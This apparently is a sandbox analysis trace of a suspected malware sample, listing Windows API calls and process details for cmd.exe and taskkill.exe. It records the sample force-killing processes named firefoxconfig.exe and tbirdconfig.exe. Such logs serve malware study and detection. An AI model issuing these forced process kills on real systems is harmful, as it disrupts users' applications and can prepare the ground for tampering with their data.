	[0040.594] GetProcessHeap () returned 0x3d0000
	[0040.594] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d07f0, Size=0x66) returned 0x3d07f0
	[0040.594] GetProcessHeap () returned 0x3d0000
	[0040.594] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d07f0) returned 0x66
	[0040.594] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.594] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0040.594] GetProcessHeap () returned 0x3d0000
	[0040.594] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x120) returned 0x3e34a0
	[0040.594] GetProcessHeap () returned 0x3d0000
	[0040.594] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x238) returned 0x3d0860
	[0040.596] GetProcessHeap () returned 0x3d0000
	[0040.596] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d0860, Size=0x122) returned 0x3d0860
	[0040.596] GetProcessHeap () returned 0x3d0000
	[0040.596] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d0860) returned 0x122
	[0040.596] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a7f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.596] GetProcessHeap () returned 0x3d0000
	[0040.596] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe0) returned 0x3d0990
	[0040.596] GetProcessHeap () returned 0x3d0000
	[0040.596] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d0990, Size=0x76) returned 0x3d0990
	[0040.596] GetProcessHeap () returned 0x3d0000
	[0040.596] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d0990) returned 0x76
	[0040.596] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x37ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37ee6c) returned 0xffffffff
	[0040.597] GetLastError () returned 0x2
	[0040.597] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x37ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37ee6c) returned 0xffffffff
	[0040.597] GetLastError () returned 0x2
	[0040.597] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0040.597] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x37ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37ee6c) returned 0x3d0a10
	[0040.597] GetProcessHeap () returned 0x3d0000
	[0040.597] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x3d0a50
	[0040.597] FindClose (in: hFindFile=0x3d0a10 | out: hFindFile=0x3d0a10) returned 1
	[0040.597] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x37ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37ee6c) returned 0xffffffff
	[0040.597] GetLastError () returned 0x2
	[0040.597] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x37ee6c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37ee6c) returned 0x3d0a10
	[0040.597] GetProcessHeap () returned 0x3d0000
	[0040.597] RtlReAllocateHeap (Heap=0x3d0000, Flags=0x0, Ptr=0x3d0a50, Size=0x4) returned 0x3d0a50
	[0040.597] FindClose (in: hFindFile=0x3d0a10 | out: hFindFile=0x3d0a10) returned 1
	[0040.598] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0040.598] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0040.598] GetConsoleTitleW (in: lpConsoleTitle=0x37f364, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0040.598] InitializeProcThreadAttributeList (in: lpAttributeList=0x37f1ec, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37f2b4 | out: lpAttributeList=0x37f1ec, lpSize=0x37f2b4) returned 1
	[0040.598] UpdateProcThreadAttribute (in: lpAttributeList=0x37f1ec, dwFlags=0x0, Attribute=0x60001, lpValue=0x37f2ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37f1ec, lpPreviousValue=0x0) returned 1
	[0040.598] GetStartupInfoW (in: lpStartupInfo=0x37f1a8 | out: lpStartupInfo=0x37f1a8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xc4, hStdError=0xc8)) 
	[0040.598] GetProcessHeap () returned 0x3d0000
	[0040.598] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d0a10
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.598] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.599] GetProcessHeap () returned 0x3d0000
	[0040.599] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d0a10 | out: hHeap=0x3d0000) returned 1
	[0040.599] GetProcessHeap () returned 0x3d0000
	[0040.599] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xa) returned 0x3dfef0
	[0040.599] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0040.601] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im firefoxconfig.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37f248*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im firefoxconfig.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37f294 | out: lpCommandLine="taskkill  /f /im firefoxconfig.exe ", lpProcessInformation=0x37f294*(hProcess=0x78, hThread=0x74, dwProcessId=0xa4c, dwThreadId=0xa48)) returned 1
	[0040.605] CloseHandle (hObject=0x74) returned 1
	[0040.606] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0040.606] GetProcessHeap () returned 0x3d0000
	[0040.606] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ee0 | out: hHeap=0x3d0000) returned 1
	[0040.606] GetEnvironmentStringsW () returned 0x3f4a58*
	[0040.606] GetProcessHeap () returned 0x3d0000
	[0040.606] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb36) returned 0x3e40a0
	[0040.606] FreeEnvironmentStringsW (penv=0x3f4a58) returned 1
	[0040.606] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0040.896] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x37f188 | out: lpExitCode=0x37f188*=0x80) returned 1
	[0040.896] CloseHandle (hObject=0x78) returned 1
	[0040.896] _vsnwprintf (in: _Buffer=0x37f2d0, _BufferCount=0x13, _Format="%08X", _ArgList=0x37f194 | out: _Buffer="00000080") returned 8
	[0040.896] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0040.896] GetProcessHeap () returned 0x3d0000
	[0040.896] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e40a0 | out: hHeap=0x3d0000) returned 1
	[0040.896] GetEnvironmentStringsW () returned 0x3e40a0*
	[0040.897] GetProcessHeap () returned 0x3d0000
	[0040.897] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb5c) returned 0x3e5ee0
	[0040.897] FreeEnvironmentStringsW (penv=0x3e40a0) returned 1
	[0040.897] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0040.897] GetProcessHeap () returned 0x3d0000
	[0040.897] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ee0 | out: hHeap=0x3d0000) returned 1
	[0040.897] GetEnvironmentStringsW () returned 0x3e40a0*
	[0040.897] GetProcessHeap () returned 0x3d0000
	[0040.897] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xb5c) returned 0x3e5ee0
	[0040.897] FreeEnvironmentStringsW (penv=0x3e40a0) returned 1
	[0040.897] GetProcessHeap () returned 0x3d0000
	[0040.897] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dfef0 | out: hHeap=0x3d0000) returned 1
	[0040.897] DeleteProcThreadAttributeList (in: lpAttributeList=0x37f1ec | out: lpAttributeList=0x37f1ec) 
	[0040.897] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0040.897] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0040.897] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0040.897] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a7e41ac | out: lpMode=0x4a7e41ac) returned 0
	[0040.897] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0040.897] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a7e41b0 | out: lpMode=0x4a7e41b0) returned 0
	[0040.897] GetConsoleOutputCP () returned 0x1b5
	[0040.897] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7e4260 | out: lpCPInfo=0x4a7e4260) returned 1
	[0040.898] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.898] exit (_Code=128) 

Process:
	id = "37"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a8bb000"
	os_pid = "0xa4c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "36"
	os_parent_pid = "0xa44"
	cmd_line = "taskkill  /f /im firefoxconfig.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 197
	os_tid = 0xa48


Thread:
	id = 198
	os_tid = 0xa40


Thread:
	id = 199
	os_tid = 0xa50


Thread:
	id = 200
	os_tid = 0xa5c


Thread:
	id = 201
	os_tid = 0xa90


Process:
	id = "38"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4bb55000"
	os_pid = "0xa70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im tbirdconfig.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 202
	os_tid = 0xa3c

	[0040.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x46fb38 | out: lpSystemTimeAsFileTime=0x46fb38*(dwLowDateTime=0xfe100b90, dwHighDateTime=0x1d52dc4)) 
	[0040.967] GetCurrentProcessId () returned 0xa70
	[0040.967] GetCurrentThreadId () returned 0xa3c
	[0040.967] GetTickCount () returned 0x1a784
	[0040.967] QueryPerformanceCounter (in: lpPerformanceCount=0x46fb30 | out: lpPerformanceCount=0x46fb30*=16127745154) returned 1
	[0040.968] GetModuleHandleA (lpModuleName=0x0) returned 0x49e30000
	[0040.969] __set_app_type (_Type=0x1) 
	[0040.969] __p__fmode () returned 0x74eb31f4
	[0040.969] __p__commode () returned 0x74eb31fc
	[0040.969] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e521a6) returned 0x0
	[0040.969] __getmainargs (in: _Argc=0x49e54238, _Argv=0x49e54240, _Env=0x49e5423c, _DoWildCard=0, _StartInfo=0x49e54140 | out: _Argc=0x49e54238, _Argv=0x49e54240, _Env=0x49e5423c) returned 0
	[0040.969] GetCurrentThreadId () returned 0xa3c
	[0040.969] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa3c) returned 0x60
	[0040.969] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0040.969] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0040.969] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0040.970] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0040.970] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x46fac8 | out: phkResult=0x46fac8*=0x0) returned 0x2
	[0040.970] VirtualQuery (in: lpAddress=0x46faff, lpBuffer=0x46fa98, dwLength=0x1c | out: lpBuffer=0x46fa98*(BaseAddress=0x46f000, AllocationBase=0x370000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.970] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x46fa98, dwLength=0x1c | out: lpBuffer=0x46fa98*(BaseAddress=0x370000, AllocationBase=0x370000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0040.970] VirtualQuery (in: lpAddress=0x371000, lpBuffer=0x46fa98, dwLength=0x1c | out: lpBuffer=0x46fa98*(BaseAddress=0x371000, AllocationBase=0x370000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0040.970] VirtualQuery (in: lpAddress=0x373000, lpBuffer=0x46fa98, dwLength=0x1c | out: lpBuffer=0x46fa98*(BaseAddress=0x373000, AllocationBase=0x370000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0040.970] VirtualQuery (in: lpAddress=0x470000, lpBuffer=0x46fa98, dwLength=0x1c | out: lpBuffer=0x46fa98*(BaseAddress=0x470000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0040.970] GetConsoleOutputCP () returned 0x1b5
	[0040.970] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e54260 | out: lpCPInfo=0x49e54260) returned 1
	[0040.970] SetConsoleCtrlHandler (HandlerRoutine=0x49e4e72a, Add=1) returned 1
	[0040.970] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0040.970] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0040.971] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0040.971] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49e541ac | out: lpMode=0x49e541ac) returned 0
	[0040.971] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0040.971] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49e541b0 | out: lpMode=0x49e541b0) returned 0
	[0040.971] GetEnvironmentStringsW () returned 0x582010*
	[0040.971] GetProcessHeap () returned 0x570000
	[0040.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x582ae8
	[0040.971] FreeEnvironmentStringsW (penv=0x582010) returned 1
	[0040.971] GetProcessHeap () returned 0x570000
	[0040.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x580c48
	[0040.971] GetEnvironmentStringsW () returned 0x582010*
	[0040.971] GetProcessHeap () returned 0x570000
	[0040.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xaca) returned 0x5835c0
	[0040.972] FreeEnvironmentStringsW (penv=0x582010) returned 1
	[0040.972] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x46ea38 | out: phkResult=0x46ea38*=0x68) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x0, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x1, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x1, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x0, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x40, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x40, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x40, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.972] RegCloseKey (hKey=0x68) returned 0x0
	[0040.972] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x46ea38 | out: phkResult=0x46ea38*=0x68) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x40, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x1, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x1, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x0, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x9, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.972] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x4, lpData=0x46ea44*=0x9, lpcbData=0x46ea3c*=0x4) returned 0x0
	[0040.973] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x46ea40, lpData=0x46ea44, lpcbData=0x46ea3c*=0x1000 | out: lpType=0x46ea40*=0x0, lpData=0x46ea44*=0x9, lpcbData=0x46ea3c*=0x1000) returned 0x2
	[0040.973] RegCloseKey (hKey=0x68) returned 0x0
	[0040.973] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163031
	[0040.973] srand (_Seed=0x5d163031) 
	[0040.973] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im tbirdconfig.exe \""
	[0040.973] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im tbirdconfig.exe \""
	[0040.973] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e55260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0040.973] GetProcessHeap () returned 0x570000
	[0040.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x582010
	[0040.973] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x582018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0040.973] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.973] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.974] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e60640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0040.974] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0040.974] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0040.974] GetProcessHeap () returned 0x570000
	[0040.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x582ae8 | out: hHeap=0x570000) returned 1
	[0040.974] GetEnvironmentStringsW () returned 0x582228*
